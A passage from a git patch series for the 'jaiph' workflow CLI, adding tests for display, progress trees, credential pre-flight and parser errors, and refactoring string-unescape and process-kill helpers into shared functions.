basename(config.agentCommand.split(/\s+/)[0]); + return agentCommandName(config); } return config.backend || "cursor"; } @@ -726,6 +730,20 @@ function writeFinalFile(filePath: string, content: string): void { } } +/** Emit a mock/backend final answer to the transcript + final-capture file, ensuring a trailing newline. */ +function emitFinalAnswer( + text: string, + config: PromptConfig, + stdout: NodeJS.WritableStream, +): { final: string; status: number } { + writeFinalFile(config.promptFinalFile, text); + stdout.write(text); + if (!text.endsWith("\n")) { + stdout.write("\n"); + } + return { final: text, status: 0 }; +} + /** Remove only surrounding blank lines while preserving inner formatting. */ function trimSurroundingBlankLines(input: string): string { return input.replace(/^(?:[ \t]*\r?\n)+/, "").replace(/(?:\r?\n[ \t]*)+$/, ""); @@ -776,12 +794,7 @@ export async function executePrompt( } const result = dispatchMockArms(promptText, arms); if (result.status === 0) { - writeFinalFile(config.promptFinalFile, result.response); - stdout.write(result.response); - if (!result.response.endsWith("\n")) { - stdout.write("\n"); - } - return { final: result.response, status: 0 }; + return emitFinalAnswer(result.response, config, stdout); } return { final: "", status: result.status }; } @@ -789,12 +802,7 @@ export async function executePrompt( if (responsesJson) { const mockResult = consumeNextMockResponse(responsesJson); if (mockResult !== null) { - writeFinalFile(config.promptFinalFile, mockResult); - stdout.write(mockResult); - if (!mockResult.endsWith("\n")) { - stdout.write("\n"); - } - return { final: mockResult, status: 0 }; + return emitFinalAnswer(mockResult, config, stdout); } } // No mock set or no match: fall through to real backend From 61ccb30adf048c9c16c08e0d9751a62395ef7650 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Thu, 30 Jul 2026 23:30:00 +0200 Subject: [PATCH 04/86] Test: fill QA gap-report coverage for CLI, e2e, compiler Add the missing tests identified in the QA gap report without touching production code. Register the docker live-step-output and agent credentials pre-flight e2e scripts in the runner, and fix the credentials pre-flight test to drop --unsafe (unsafe mode skips the credential pre-flight, suppressing the very warning/error the section asserts). Extend display/progress unit tests to cover model-token failure labels, multi-site self-recursion tree bounding, and channel route nodes, and add a compiler parse-error fixture for module.* keys rejected in workflow-level config. Co-Authored-By: Claude Opus 4.8 (1M context) --- e2e/test_all.sh | 2 + e2e/tests/139_agent_credentials_preflight.sh | 12 ++- src/cli/run/display.test.ts | 10 ++ src/cli/run/progress.test.ts | 101 ++++++++++++++++++ .../compiler-txtar/parse-errors-snapshot.json | 7 ++ test-fixtures/compiler-txtar/parse-errors.txt | 10 ++ 6 files changed, 139 insertions(+), 3 deletions(-) diff --git a/e2e/test_all.sh b/e2e/test_all.sh index 9b5c7563..38eeb8cb 100755 --- a/e2e/test_all.sh +++ b/e2e/test_all.sh @@ -31,6 +31,7 @@ TEST_SCRIPTS=( "e2e/tests/74e_docker_git_snapshot_content.sh" "e2e/tests/74_docker_lifecycle.sh" "e2e/tests/74_live_step_output.sh" + "e2e/tests/75_docker_live_step_output.sh" "e2e/tests/76_docker_failure_parity.sh" "e2e/tests/77_unsafe_confirm.sh" "e2e/tests/78_lang_redesign_constructs.sh" @@ -104,6 +105,7 @@ TEST_SCRIPTS=( "e2e/tests/137_inline_script_catch_recover.sh" "e2e/tests/138_if_match_dot_subject.sh" "e2e/tests/139_mcp_server_session.sh" + "e2e/tests/139_agent_credentials_preflight.sh" "e2e/tests/140_env_passthrough.sh" "e2e/tests/141_mcp_docker_sandbox.sh" "e2e/tests/147_serve_http_api.sh" diff --git a/e2e/tests/139_agent_credentials_preflight.sh b/e2e/tests/139_agent_credentials_preflight.sh index 1fba8d6f..8fa67caa 100755 --- a/e2e/tests/139_agent_credentials_preflight.sh +++ b/e2e/tests/139_agent_credentials_preflight.sh @@ -70,12 +70,16 @@ e2e::pass "no run directory created — runner/container never launched" e2e::section "claude on host without credentials warns but proceeds" -# Use --unsafe to force Docker off without needing a Docker daemon. +# The harness already runs on the host (JAIPH_DOCKER_ENABLED=false), so a plain +# `jaiph run` exercises the host warn-only pre-flight path. NOTE: do not pass +# --unsafe here — unsafe mode (`JAIPH_UNSAFE`) deliberately skips the credential +# pre-flight entirely (see preflight-credentials.ts), which would suppress the +# very warning this section asserts. err_file="$(mktemp)" stdout_file="$(mktemp)" exit_code=0 env -u ANTHROPIC_API_KEY -u CLAUDE_CODE_OAUTH_TOKEN \ - jaiph run --unsafe "${TEST_DIR}/claude_docker.jh" >"${stdout_file}" 2>"${err_file}" \ + jaiph run "${TEST_DIR}/claude_docker.jh" >"${stdout_file}" 2>"${err_file}" \ || exit_code=$? err_msg="$(cat "${err_file}")" out_msg="$(cat "${stdout_file}")" @@ -115,8 +119,10 @@ EOF err_file="$(mktemp)" exit_code=0 +# Plain host run (no --unsafe): unsafe mode skips the credential pre-flight, so +# it would suppress the codex hard error this section asserts. env -u OPENAI_API_KEY \ - jaiph run --unsafe "${TEST_DIR}/codex_host.jh" 2>"${err_file}" >/dev/null \ + jaiph run "${TEST_DIR}/codex_host.jh" 2>"${err_file}" >/dev/null \ || exit_code=$? err_msg="$(cat "${err_file}")" rm -f "${err_file}" diff --git a/src/cli/run/display.test.ts b/src/cli/run/display.test.ts index 6b87798d..5e6e54ea 100644 --- a/src/cli/run/display.test.ts +++ b/src/cli/run/display.test.ts @@ -152,6 +152,16 @@ test("formatCompletedLine: failure with kind/name has red marker and label (colo assert.ok(result.includes("\u001b[31m✗ workflow reviewer (2s)\u001b[0m")); }); +test("formatCompletedLine: failure carries the model token in the label (no color)", () => { + const result = formatCompletedLine(" ", 1, 3, false, "prompt", "claude", "sonnet"); + assert.equal(result, "✗ prompt claude sonnet (3s)"); +}); + +test("formatCompletedLine: failure with model token has red marker and label (color enabled)", () => { + const result = formatCompletedLine(" ", 1, 3, true, "prompt", "claude", "sonnet"); + assert.ok(result.includes("✗ prompt claude sonnet (3s)")); +}); + test("formatCompletedLine: without kind/name still works (backward compat)", () => { const result = formatCompletedLine(" ", 0, 5, false); assert.equal(result, "✓ (5s)"); diff --git a/src/cli/run/progress.test.ts b/src/cli/run/progress.test.ts index a0908683..32c7e058 100644 --- a/src/cli/run/progress.test.ts +++ b/src/cli/run/progress.test.ts @@ -474,3 +474,104 @@ test("formatRunningBottomLine: renders status with elapsed", () => { assert.ok(line.includes("default")); assert.ok(line.includes("1.5s")); }); + +// --- buildRunTreeRows: multi-site self-recursion --- + +test("buildRunTreeRows: workflow with two self-recursive call sites expands bounded per-site", () => { + const mod = modFor([ + "workflow default() {", + " run rec()", + "}", + "workflow rec() {", + ' log "x"', + " run rec()", + " run rec()", + "}", + ].join("\n")); + const rows = buildRunTreeRows(mod); + // The per-site index bookkeeping picks a different self-call to expand at each + // depth (site 0 at depth 0, site 1 at depth 1) and clamps deeper frames off, + // so the tree is finite rather than infinite. This locks the exact shape. + assert.deepEqual( + rows.map((r) => ({ label: r.rawLabel, prefix: r.prefix.length })), + [ + { label: "workflow default", prefix: 0 }, + { label: "workflow rec", prefix: 0 }, + { label: "ℹ x", prefix: 4 }, + { label: "workflow rec", prefix: 4 }, + { label: "ℹ x", prefix: 8 }, + { label: "workflow rec", prefix: 8 }, + { label: "ℹ x", prefix: 12 }, + { label: "workflow rec", prefix: 4 }, + ], + ); + assert.equal(rows[0].isRoot, true); +}); + +// --- channel route declarations as tree nodes --- + +test("collectWorkflowChildren: single-target channel route becomes a tree node", () => { + const mod = modFor([ + "channel findings -> analyst", + "workflow analyst(message, chan, sender) {", + ' log "a"', + "}", + "workflow default() {", + ' log "start"', + "}", + ].join("\n")); + const items = collectWorkflowChildren(mod, "default"); + assert.equal(items[0].label, "findings -> analyst"); +}); + +test("collectWorkflowChildren: multi-target channel route joins targets with comma", () => { + const mod = modFor([ + "channel findings -> analyst, reviewer", + "workflow analyst(message, chan, sender) {", + ' log "a"', + "}", + "workflow reviewer(message, chan, sender) {", + ' log "r"', + "}", + "workflow default() {", + ' log "start"', + "}", + ].join("\n")); + const items = collectWorkflowChildren(mod, "default"); + assert.equal(items[0].label, "findings -> analyst, reviewer"); +}); + +test("buildRunTreeRows: channel route node renders as a top-level child row", () => { + const mod = modFor([ + "channel findings -> analyst, reviewer", + "workflow analyst(message, chan, sender) {", + ' log "a"', + "}", + "workflow reviewer(message, chan, sender) {", + ' log "r"', + "}", + "workflow default() {", + ' log "start"', + "}", + ].join("\n")); + const rows = buildRunTreeRows(mod); + assert.deepEqual( + rows.map((r) => ({ label: r.rawLabel, prefix: r.prefix.length })), + [ + { label: "workflow default", prefix: 0 }, + { label: "findings -> analyst, reviewer", prefix: 0 }, + { label: "ℹ start", prefix: 0 }, + ], + ); +}); + +// --- buildRunTreeRows: empty / root-only workflow --- + +test("buildRunTreeRows: childless workflow yields exactly one root row", () => { + const mod = modFor("workflow default() {\n}"); + const rows = buildRunTreeRows(mod); + assert.equal(rows.length, 1); + assert.equal(rows[0].rawLabel, "workflow default"); + assert.equal(rows[0].prefix, ""); + assert.equal(rows[0].isRoot, true); +}); diff --git a/test-fixtures/compiler-txtar/parse-errors-snapshot.json b/test-fixtures/compiler-txtar/parse-errors-snapshot.json index 63f4402c..3c6e224c 100644 --- a/test-fixtures/compiler-txtar/parse-errors-snapshot.json +++ b/test-fixtures/compiler-txtar/parse-errors-snapshot.json @@ -2056,5 +2056,12 @@ "col": 1, "code": "E_PARSE", "message": "array not closed with ']'" + }, + "module.* keys rejected in workflow-level config": { + "file": "input.jh", + "line": 2, + "col": 1, + "code": "E_PARSE", + "message": "module.* keys are not allowed in workflow-level config (only agent.* and run.* keys)" } } diff --git a/test-fixtures/compiler-txtar/parse-errors.txt b/test-fixtures/compiler-txtar/parse-errors.txt index 0abc4072..34aa1a75 100644 --- a/test-fixtures/compiler-txtar/parse-errors.txt +++ b/test-fixtures/compiler-txtar/parse-errors.txt @@ -2650,3 +2650,13 @@ workflow default() { config { trusted_envs = [ "PATH" + +=== module.* keys rejected in workflow-level config +# @expect error E_PARSE "module.* keys are not allowed in workflow-level config" @2:1 +--- input.jh +workflow default() { + config { + module.name = "nope" + } + log "hi" +} From 369c7b106cf420aa39ff0630c2a8e9db885722aa Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 00:16:13 +0200 Subject: [PATCH 05/86] Refactor: apply safe simplifier-pass cleanups across src Apply behavior-preserving simplifications from the simplifier report: extract shared string-unescape helpers (unescapeDoubleQuotedInner, unescapeConfigInner) in the parser and a killProcessTreeEscalating helper in the runtime kernel, then dedupe the call sites across parse, format, transpile, and runtime modules. No test or e2e changes; the public behavior of each affected path is unchanged. --- src/format/emit.ts | 20 +++++++++--- src/parse/call-args.ts | 16 ++-------- src/parse/core.ts | 19 +++++++++++- src/parse/match.ts | 4 +-- src/parse/metadata.ts | 8 ++--- src/parse/tests.ts | 17 ++++++++--- src/runtime/docker.ts | 21 ++++--------- src/runtime/kernel/node-workflow-runtime.ts | 34 +++++++++------------ src/runtime/kernel/portability.ts | 14 +++++++++ src/runtime/kernel/prompt.ts | 10 ++---- src/transpile/validate-step.ts | 19 ++++-------- src/transpile/validate-string.ts | 2 +- 12 files changed, 97 insertions(+), 87 deletions(-) diff --git a/src/format/emit.ts b/src/format/emit.ts index 01d69411..d2c18882 100644 --- a/src/format/emit.ts +++ b/src/format/emit.ts @@ -359,6 +359,16 @@ function emitLogLiteralRhs(message: string): string { return JSON.stringify(message); } +/** + * Decode a double-quoted literal's `raw` back to the inner body of its + * triple-quoted (`"""…"""`) source form: strip the outer quotes and undo the + * `\"` / `\\` escaping the parser applied. Used only as the fallback when + * `trivia.rawBody` (the verbatim original body) is absent. + */ +function decodeTripleQuotedInner(raw: string): string { + return raw.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, "\\"); +} + function emitSteps(steps: WorkflowStepDef[], pad: string, currentIndent: string, trivia: Trivia): string[] { const lines: string[] = []; for (const step of steps) { @@ -410,7 +420,7 @@ function emitMatchPattern(p: import("../types").MatchPatternDef): string { function emitMatchArm(arm: import("../types").MatchArmDef, armIndent: string, bodyIndent: string): string[] { const patStr = emitMatchPattern(arm.pattern); if (arm.body.startsWith('"') && arm.body.endsWith('"') && arm.body.includes("\n")) { - const inner = arm.body.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, "\\"); + const inner = decodeTripleQuotedInner(arm.body); const lines: string[] = [`${armIndent}${patStr} => """`]; for (const bl of inner.split("\n")) { lines.push(bl); @@ -436,7 +446,7 @@ function emitExprFirstLine( const valueTrivia = tn(trivia, expr); if (expr.kind === "literal") { if (valueTrivia.tripleQuoted) { - const inner = valueTrivia.rawBody ?? expr.raw.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, "\\"); + const inner = valueTrivia.rawBody ?? decodeTripleQuotedInner(expr.raw); const tail: string[] = []; for (const bl of inner.split("\n")) tail.push(bl); tail.push(`${ci}"""`); @@ -470,7 +480,7 @@ function emitExprFirstLine( return { head: `prompt ${valueTrivia.bodyIdentifier}${returns}`, tail: [] }; } if (valueTrivia.bodyKind === "triple_quoted") { - const inner = valueTrivia.rawBody ?? expr.raw.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, "\\"); + const inner = valueTrivia.rawBody ?? decodeTripleQuotedInner(expr.raw); const tail: string[] = []; for (const bl of inner.split("\n")) tail.push(bl); tail.push(`${ci}"""`); @@ -523,7 +533,7 @@ function emitStep(step: WorkflowStepDef, pad: string, currentIndent: string, tri // fail always takes a literal message; preserve triple-quoted form when present. const msgTrivia = tn(trivia, message); if (message.kind === "literal" && msgTrivia.tripleQuoted) { - const inner = msgTrivia.rawBody ?? message.raw.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, "\\"); + const inner = msgTrivia.rawBody ?? decodeTripleQuotedInner(message.raw); lines.push(`${ci}fail """`); for (const bl of inner.split("\n")) lines.push(bl); lines.push(`${ci}"""`); @@ -641,7 +651,7 @@ function emitStep(step: WorkflowStepDef, pad: string, currentIndent: string, tri if (bodyTrivia.bodyKind === "identifier" && bodyTrivia.bodyIdentifier) { lines.push(`${ci}${capture}prompt ${bodyTrivia.bodyIdentifier}${returns}`); } else if (bodyTrivia.bodyKind === "triple_quoted") { - const inner = bodyTrivia.rawBody ?? body.raw.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, "\\"); + const inner = bodyTrivia.rawBody ?? decodeTripleQuotedInner(body.raw); lines.push(`${ci}${capture}prompt """`); for (const bl of inner.split("\n")) lines.push(bl); lines.push(`${ci}"""`); diff --git a/src/parse/call-args.ts b/src/parse/call-args.ts index 7d54b4b1..f4aa76c4 100644 --- a/src/parse/call-args.ts +++ b/src/parse/call-args.ts @@ -1,17 +1,7 @@ import type { Arg } from "../types"; -import { fail, isBareIdentifier, isBareDottedIdentifier, isRef, parseCallRef } from "./core"; +import { fail, isRef, parseCallRef, pushArg } from "./core"; import { dedentTripleQuotedBody, parseTripleQuoteBlock, tripleQuoteBodyToRaw } from "./triple-quote"; -function pushArgFromSegment(out: Arg[], segment: string): void { - const trimmed = segment.trim(); - if (!trimmed) return; - if (isBareIdentifier(trimmed) || isBareDottedIdentifier(trimmed)) { - out.push({ kind: "var", name: trimmed }); - return; - } - out.push({ kind: "literal", raw: trimmed }); -} - /** * Collect call arguments for a managed call whose `(` is on `openLineIdx` and may * span multiple source lines. `textAfterOpenParen` is the text on the opening line @@ -56,13 +46,13 @@ export function parseMultilineCallArgList( if (ch === ")") { parenDepth--; if (parenDepth === 0) { - pushArgFromSegment(args, pendingText); + pushArg(args, pendingText); return { args, nextLineIdx: lineIdx + 1, rest: toScan.slice(i + 1) }; } pendingText += ch; i++; continue; } if (ch === "," && parenDepth === 1) { - pushArgFromSegment(args, pendingText); + pushArg(args, pendingText); pendingText = ""; i++; continue; diff --git a/src/parse/core.ts b/src/parse/core.ts index dd829ff8..a44b3c5a 100644 --- a/src/parse/core.ts +++ b/src/parse/core.ts @@ -17,6 +17,23 @@ export function stripQuotes(value: string): string { return trimmed; } +/** + * Unescape the inner text of a double-quoted DSL string. The replacement order + * (`\"` → `"`, then `\n` → newline, then `\\` → `\`) is significant and matches + * every double-quoted-string decode site in the parser. + */ +export function unescapeDoubleQuotedInner(inner: string): string { + return inner.replace(/\\"/g, '"').replace(/\\n/g, "\n").replace(/\\\\/g, "\\"); +} + +/** + * Unescape the inner text of a config/metadata string value. Adds `\t` handling + * and uses the config-site order (`\n`, `\t`, `\"`, `\\`). + */ +export function unescapeConfigInner(inner: string): string { + return inner.replace(/\\n/g, "\n").replace(/\\t/g, "\t").replace(/\\"/g, '"').replace(/\\\\/g, "\\"); +} + export function isRef(value: string): boolean { return /^[A-Za-z_][A-Za-z0-9_]*(?:\.[A-Za-z_][A-Za-z0-9_]*)?$/.test(value); } @@ -211,7 +228,7 @@ export function commaArgsToArgList(content: string): Arg[] { return out; } -function pushArg(out: Arg[], segment: string): void { +export function pushArg(out: Arg[], segment: string): void { const trimmed = segment.trim(); if (!trimmed) return; if (isBareIdentifier(trimmed) || isBareDottedIdentifier(trimmed)) { diff --git a/src/parse/match.ts b/src/parse/match.ts index 720e917e..fc642a5c 100644 --- a/src/parse/match.ts +++ b/src/parse/match.ts @@ -1,5 +1,5 @@ import type { MatchArmDef, MatchExprDef, MatchPatternDef } from "../types"; -import { fail, indexOfClosingDoubleQuote } from "./core"; +import { fail, indexOfClosingDoubleQuote, unescapeDoubleQuotedInner } from "./core"; import { splitStatementsOnSemicolons } from "./statement-split"; import { tripleQuoteBodyToRaw, trimAdjacentBlankLines } from "./triple-quote"; @@ -35,7 +35,7 @@ function parsePattern(filePath: string, text: string, lineNo: number): { pattern if (closeIdx === -1) { fail(filePath, "unterminated string in match pattern", lineNo); } - const value = t.slice(1, closeIdx).replace(/\\"/g, '"').replace(/\\n/g, "\n").replace(/\\\\/g, "\\"); + const value = unescapeDoubleQuotedInner(t.slice(1, closeIdx)); const rest = t.slice(closeIdx + 1).trimStart(); return { pattern: { kind: "string_literal", value }, rest }; } diff --git a/src/parse/metadata.ts b/src/parse/metadata.ts index 2946b12b..af8522ff 100644 --- a/src/parse/metadata.ts +++ b/src/parse/metadata.ts @@ -1,6 +1,6 @@ import type { WorkflowMetadata } from "../types"; import type { Trivia, ConfigBodyPart } from "./trivia"; -import { colFromRaw, fail, isBareIdentifier, isJaiphInterpolationRef } from "./core"; +import { colFromRaw, fail, isBareIdentifier, isJaiphInterpolationRef, unescapeConfigInner } from "./core"; import { validateJaiphStringContent } from "../transpile/validate-string"; import { ENV_KEY_RE, isReservedEnvKey } from "../env-reserved"; @@ -68,7 +68,7 @@ function parseMetadataValue(filePath: string, rawLine: string, valuePart: string return fail(filePath, 'single-quoted strings are not supported; use double quotes ("...") instead', lineNo, colFromRaw(rawLine)); } if (trimmed.startsWith(`"`) && trimmed.endsWith(`"`)) { - const content = trimmed.slice(1, -1).replace(/\\n/g, "\n").replace(/\\t/g, "\t").replace(/\\"/g, `"`).replace(/\\\\/g, `\\`); + const content = unescapeConfigInner(trimmed.slice(1, -1)); if (configValueHasInterpolation(content)) { validateJaiphStringContent(content, filePath, lineNo, colFromRaw(rawLine), "config"); } @@ -151,9 +151,7 @@ function parseArrayValue( return fail(filePath, 'single-quoted strings are not supported; use double quotes ("...") instead', lineNo, colFromRaw(raw)); } if (element.startsWith(`"`) && element.endsWith(`"`)) { - result.push( - element.slice(1, -1).replace(/\\n/g, "\n").replace(/\\t/g, "\t").replace(/\\"/g, `"`).replace(/\\\\/g, `\\`), - ); + result.push(unescapeConfigInner(element.slice(1, -1))); } else { return fail(filePath, `array elements must be quoted strings: ${element}`, lineNo, colFromRaw(raw)); } diff --git a/src/parse/tests.ts b/src/parse/tests.ts index 3d69c32e..ea7dd540 100644 --- a/src/parse/tests.ts +++ b/src/parse/tests.ts @@ -1,6 +1,14 @@ import type { MatchArmDef, TestBlockDef, WorkflowStepDef } from "../types"; import { createTrivia, type Trivia } from "./trivia"; -import { colFromRaw, fail, hasUnescapedClosingQuote, isRef, parseParamList, stripQuotes } from "./core"; +import { + colFromRaw, + fail, + hasUnescapedClosingQuote, + isRef, + parseParamList, + stripQuotes, + unescapeDoubleQuotedInner, +} from "./core"; import { parseMatchArms } from "./match"; import { parseBraceBlockBody } from "./workflow-brace"; @@ -53,8 +61,7 @@ function parseMockScriptBlock( } function decodeQuotedTestString(arg: string): string { - const inner = stripQuotes(arg); - return inner.replace(/\\"/g, '"').replace(/\\n/g, "\n").replace(/\\\\/g, "\\"); + return unescapeDoubleQuotedInner(stripQuotes(arg)); } /** Parse mock params: "()" or "(a, b)" from a string like "alias.name(a, b) {" */ @@ -300,7 +307,7 @@ export function parseTestBlock( testBlock.steps.push({ type: "test_const", name: constLiteralMatch[1], - value: constLiteralMatch[2].replace(/\\"/g, '"').replace(/\\n/g, "\n").replace(/\\\\/g, "\\"), + value: unescapeDoubleQuotedInner(constLiteralMatch[2]), loc, }); continue; @@ -401,7 +408,7 @@ function parseTestCallArgs(argsRaw: string): string[] { function decodeTestArg(token: string): string { if (token.startsWith('"') && token.endsWith('"')) { - return token.slice(1, -1).replace(/\\"/g, '"').replace(/\\n/g, "\n").replace(/\\\\/g, "\\"); + return unescapeDoubleQuotedInner(token.slice(1, -1)); } return token; } diff --git a/src/runtime/docker.ts b/src/runtime/docker.ts index b63dcb2b..c2b04e5b 100644 --- a/src/runtime/docker.ts +++ b/src/runtime/docker.ts @@ -4,7 +4,7 @@ import { randomBytes } from "node:crypto"; import { join, resolve, relative, sep, dirname } from "node:path"; import type { RuntimeConfig } from "../types"; import { VERSION } from "../version"; -import { killProcessTree } from "./kernel/portability"; +import { killProcessTreeEscalating } from "./kernel/portability"; import { isEnvAllowed, RUN_WORKFLOW_ENV, type AgentBackend } from "./kernel/env-allowlist"; /** Resolved Docker runtime config with defaults applied and env overrides merged. */ @@ -830,15 +830,9 @@ export function buildDockerArgs(opts: DockerSpawnOptions): string[] { } // Single workspace mount — no user-configurable mounts. - if (mode === "inplace") { - const hostAbs = resolve(opts.workspaceRoot); - validateMountHostPath(hostAbs); - args.push("-v", `${hostAbs}:${CONTAINER_WORKSPACE}:rw`); - } else { - const hostAbs = resolve(opts.sandboxWorkspaceDir!); - validateMountHostPath(hostAbs); - args.push("-v", `${hostAbs}:${CONTAINER_WORKSPACE}:rw`); - } + const hostAbs = resolve(mode === "inplace" ? opts.workspaceRoot : opts.sandboxWorkspaceDir!); + validateMountHostPath(hostAbs); + args.push("-v", `${hostAbs}:${CONTAINER_WORKSPACE}:rw`); args.push("-v", `${opts.sandboxRunDir}:${CONTAINER_RUN_DIR}:rw`); @@ -964,12 +958,9 @@ export function spawnDockerProcess(opts: DockerSpawnOptions): DockerSpawnResult return; } // Terminate the `docker run` client and its descendants. On win32 the - // taskkill /T force-kills the tree, so the SIGKILL escalation below is a + // taskkill /T force-kills the tree, so the SIGKILL escalation is a // documented no-op there (see killProcessTree). - killProcessTree(pid, "SIGTERM"); - setTimeout(() => { - killProcessTree(pid, "SIGKILL"); - }, 5000); + killProcessTreeEscalating(pid); }, opts.config.timeoutSeconds * 1000); } diff --git a/src/runtime/kernel/node-workflow-runtime.ts b/src/runtime/kernel/node-workflow-runtime.ts index 7bc7064b..e76b1597 100644 --- a/src/runtime/kernel/node-workflow-runtime.ts +++ b/src/runtime/kernel/node-workflow-runtime.ts @@ -506,26 +506,20 @@ export class NodeWorkflowRuntime { // Nested cross-module calls: only the entry module is trusted for execution-binary keys. const fromEntryModule = !inheritCallerMetadataScope || calleeModulePath === resolvePath(this.graph.entryFile); - let workflowEnv: NodeJS.ProcessEnv; - if (inheritCallerMetadataScope && crossModuleNested) { - workflowEnv = this.applyMetadataScope( - scope.env, - this.graph.modules.get(resolved.filePath)?.ast.metadata, - resolved.workflow.metadata, - metadataVars, - fromEntryModule, - ); - } else if (inheritCallerMetadataScope) { - workflowEnv = this.applyMetadataScope(scope.env, undefined, resolved.workflow.metadata, metadataVars, fromEntryModule); - } else { - workflowEnv = this.applyMetadataScope( - scope.env, - this.graph.modules.get(resolved.filePath)?.ast.metadata, - resolved.workflow.metadata, - metadataVars, - fromEntryModule, - ); - } + // Same-module nested `run` layers only the callee workflow metadata (module config is already + // in the caller's effective env); root entry and cross-module `run` both also apply the callee + // module's metadata. + const moduleMeta = + inheritCallerMetadataScope && !crossModuleNested + ? undefined + : this.graph.modules.get(resolved.filePath)?.ast.metadata; + const workflowEnv = this.applyMetadataScope( + scope.env, + moduleMeta, + resolved.workflow.metadata, + metadataVars, + fromEntryModule, + ); const childScope: Scope = { filePath: resolved.filePath, vars: metadataVars, diff --git a/src/runtime/kernel/portability.ts b/src/runtime/kernel/portability.ts index 4f4c6263..0b1a8ab0 100644 --- a/src/runtime/kernel/portability.ts +++ b/src/runtime/kernel/portability.ts @@ -125,6 +125,20 @@ export function killProcessTree(pid: number, signal: NodeJS.Signals): void { } } +/** + * Send `SIGTERM` to the process tree now, then escalate to `SIGKILL` after + * `graceMs` if anything survives. The escalation timer is `unref`d so it never + * keeps the event loop alive on its own. On win32 the SIGKILL escalation is a + * documented no-op (see {@link killProcessTree}). + */ +export function killProcessTreeEscalating(pid: number, graceMs = 5000): void { + killProcessTree(pid, "SIGTERM"); + const escalate = setTimeout(() => { + killProcessTree(pid, "SIGKILL"); + }, graceMs); + escalate.unref?.(); +} + function killProcessTreeWin32(pid: number, signal: NodeJS.Signals): void { // `taskkill /F` already force-killed the tree on the first (SIGTERM/SIGINT) // call, so the SIGKILL escalation has nothing left to terminate. diff --git a/src/runtime/kernel/prompt.ts b/src/runtime/kernel/prompt.ts index 9fa9a550..19d040f7 100644 --- a/src/runtime/kernel/prompt.ts +++ b/src/runtime/kernel/prompt.ts @@ -6,7 +6,7 @@ import { basename, delimiter, join } from "node:path"; import { homedir, tmpdir } from "node:os"; import { parseStream, type StreamWriter } from "./stream-parser"; import { consumeNextMockResponse, dispatchMockArms, type MockPromptArm } from "./mock"; -import { killProcessTree } from "./portability"; +import { killProcessTreeEscalating } from "./portability"; import { scrubPromptEnv } from "./env-allowlist"; export type PromptConfig = { @@ -505,12 +505,8 @@ export function installPromptWatchdog( } // Terminate the backend and any descendants it spawned. On win32 this // taskkill /T already force-kills the tree, so the SIGKILL escalation - // below is a documented no-op there (see killProcessTree). - killProcessTree(pid, "SIGTERM"); - const escalate = setTimeout(() => { - killProcessTree(pid, "SIGKILL"); - }, 5000); - escalate.unref?.(); + // is a documented no-op there (see killProcessTree). + killProcessTreeEscalating(pid); }; const expire = (status: number, reason: string): void => { diff --git a/src/transpile/validate-step.ts b/src/transpile/validate-step.ts index 744f52c6..01995cd6 100644 --- a/src/transpile/validate-step.ts +++ b/src/transpile/validate-step.ts @@ -29,6 +29,7 @@ import { import { extractDotFieldRefs, extractInlineCaptures, + stripDoubleQuotes, validateFailString, validateJaiphStringContent, validateLogString, @@ -191,7 +192,7 @@ function validateSayStep(s: WorkflowStepDef, ctx: ValidatorCtx): void { ); } validateFailString(s.message.raw, ctx.ast.filePath, s.loc.line, s.loc.col); - const failInner = semanticQuotedOrchestrationInner(s.message.raw); + const failInner = stripDoubleQuotes(s.message.raw); validateInlineStringCaptures(failInner, s.loc, ctx); if (ctx.scope.withPromptSchemas) { validateDotFieldRefs(failInner, s.loc, ctx); @@ -373,7 +374,7 @@ function validateLiteralExpr( if (label === "return") { validateReturnString(expr.raw, ctx.ast.filePath, stepLoc.line, stepLoc.col); if (expr.raw.startsWith('"')) { - const retInner = stripDQ(expr.raw); + const retInner = stripDoubleQuotes(expr.raw); validateInlineStringCaptures(retInner, stepLoc, ctx); if (ctx.scope.withPromptSchemas) { validateDotFieldRefs(retInner, stepLoc, ctx); @@ -404,7 +405,7 @@ function validateLiteralExpr( `scripts are not values; "${scriptName}" is a script definition`, ); } - const inner = stripDQ(expr.raw); + const inner = stripDoubleQuotes(expr.raw); validateInlineStringCaptures(inner, stepLoc, ctx); if (ctx.scope.withPromptSchemas) { validateDotFieldRefs(inner, stepLoc, ctx); @@ -461,7 +462,7 @@ function validatePromptExpr( if (expr.returns !== undefined) { validatePromptReturnsSchema(expr.returns, ctx.ast.filePath, stepLoc.line, stepLoc.col); } - const pcInner = stripDQ(expr.raw); + const pcInner = stripDoubleQuotes(expr.raw); validateInlineStringCaptures(pcInner, stepLoc, ctx); validateDotFieldRefs(pcInner, stepLoc, ctx); validateSimpleInterpolationIdentifiers( @@ -1057,18 +1058,10 @@ function hasUnquotedSendArrow(line: string): boolean { return false; } -function stripDQ(s: string): string { - return s.length >= 2 && s[0] === '"' && s[s.length - 1] === '"' ? s.slice(1, -1) : s; -} - -function semanticQuotedOrchestrationInner(dqRaw: string): string { - return stripDQ(dqRaw); -} - function extractConstScriptName(rhs: string): string | undefined { const trimmed = rhs.trim(); if (/^[a-zA-Z_][a-zA-Z0-9_]*$/.test(trimmed)) return trimmed; - const inner = stripDQ(trimmed); + const inner = stripDoubleQuotes(trimmed); const m = inner.match(/^\$\{([a-zA-Z_][a-zA-Z0-9_]*)\}$/); return m?.[1]; } diff --git a/src/transpile/validate-string.ts b/src/transpile/validate-string.ts index 4851031c..05ff91ef 100644 --- a/src/transpile/validate-string.ts +++ b/src/transpile/validate-string.ts @@ -204,7 +204,7 @@ export function extractDotFieldRefs(content: string): DotFieldRef[] { /** * Strip outer double quotes from a string if present. */ -function stripDoubleQuotes(s: string): string { +export function stripDoubleQuotes(s: string): string { if (s.length >= 2 && s[0] === '"' && s[s.length - 1] === '"') { return s.slice(1, -1); } From 4db1b628b3b744fc93938f5e41cdfca7d6d8a1d5 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 00:49:43 +0200 Subject: [PATCH 06/86] Test: fill QA gap-report coverage for CLI init and compiler Add missing tests identified in the QA gap report. Cover the jaiph init guard for an existing non-directory path, and add a skipped test documenting the uncaught-ENOENT bug for a nonexistent path. Extend the compiler txtar fixtures with 